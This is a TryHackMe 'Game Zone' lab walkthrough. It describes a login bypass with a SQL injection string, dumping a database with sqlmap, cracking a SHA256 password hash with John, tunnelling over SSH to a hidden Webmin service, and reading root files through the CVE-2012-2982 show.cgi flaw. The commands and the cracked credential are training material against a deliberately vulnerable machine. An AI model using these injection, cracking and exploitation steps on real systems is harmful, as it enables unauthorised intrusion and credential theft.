Technology with Security

Game Zone - TryHackMe Walkthrough

05 July 2020


SQLi (exploiting this vulnerability manually and via SQLMap), cracking a users hashed password, using SSH tunnels to reveal a hidden service and using a metasploit payload to gain root privileges.


  • The initial visit to the page looks like a Game community page have couple links for action (but not working like register) and a login screen with Agent 47 (Hitman) image (reverse search with Google).
  • Also it looks the web page is running on php, noticed with failed login and search option which redirected to index.php
  • Nmap revealed the below information:
    22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   2048 61:ea:89:f1:d4:a7:dc:a5:50:f7:6d:89:c3:af:0b:03 (RSA)
    |   256 b3:7d:72:46:1e:d3:41:b6:6a:91:15:16:c9:4a:a5:fa (ECDSA)
    |_  256 53:67:09:dc:ff:fb:3a:3e:fb:fe:cf:d8:6d:41:27:ab (ED25519)
    80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
    | http-cookie-flags:
    |   /:
    |     PHPSESSID:
    |_      httponly flag not set
    |_http-server-header: Apache/2.4.18 (Ubuntu)
    |_http-title: Game Zone
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Logging in

  • Using the SQL injection with user name as ' or 1=1 -- - and any password, logged into the web page.
  • The page then navigated to portal.php where there is a search.
  • Using Burp, captured and saved the search request to a file, search_request.txt
    POST /portal.php HTTP/1.1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 19
    DNT: 1
    Connection: close
    Cookie: PHPSESSID=smej272kr499jb9bjd53rcin26
    Upgrade-Insecure-Requests: 1


  • Run the sqlmap with the request as input and it will find the database details. sqlmap -r search_request.txt --dbms=mysql --dump
  • The sqlmap returned:
    • A table “users” which has hashed usernames and passwords in column “pwd” with SHA256.
    • agent47 hashed password is ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14
    • Another table, “post” has game name and details.

Cracking the hashed password

Using the John, we can try to find the plain text for the given hash password (saved in hash.txt) with a word list.

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256 and cracked the password as videogamer124.

Checking the services

  • Login to the victim machine over ssh using the obtained credentials.
  • The host is running below sockets:
$ ss -tulpn
Netid State      Recv-Q Send-Q  Local Address:Port                 Peer Address:Port              
udp   UNCONN     0      0                   *:10000                           *:*                  
udp   UNCONN     0      0                   *:68                              *:*                  
tcp   LISTEN     0      80                            *:*                  
tcp   LISTEN     0      128                 *:10000                           *:*                  
tcp   LISTEN     0      128                 *:22                              *:*                  
tcp   LISTEN     0      128                :::80                             :::*                  
tcp   LISTEN     0      128                :::22                             :::*      

  • There is a service running on port 10000 which was not showed in nmap results, could be due to firewall block.
  • Established a local SSH tunnel with the victim to connect to the blocked service, by creating the tunnel from local host (on port 10001) and the remote (to 10000):

ssh -L 10001:localhost:10000 agent47@

  • The port 10000 on victim is running a Webmin service (CMS) with version 1.580
    nmap -p 10001 -A
    Starting Nmap 7.80 ( ) at 2020-07-05 17:30 EDT
    Nmap scan report for localhost (
    Host is up (0.000064s latency).

    10001/tcp open  http    MiniServ 1.580 (Webmin httpd)
    | http-robots.txt: 1 disallowed entry
    |_http-title: Login to Webmin

Escalating the Privileges

  • The Webmin version 1.580 is vulnerable for remote code execution as defined in CVE-2012-2982. By looking at the exploit, we can access any file by through /file/show.cgi.
  • Using this vulnerability, navigate to and found the flag value a4b94583014——–8d12d902adeee.
  • Also the Metasploit (exploit/unix/webapp/webmin_show_cgi_exec) is really not needed here.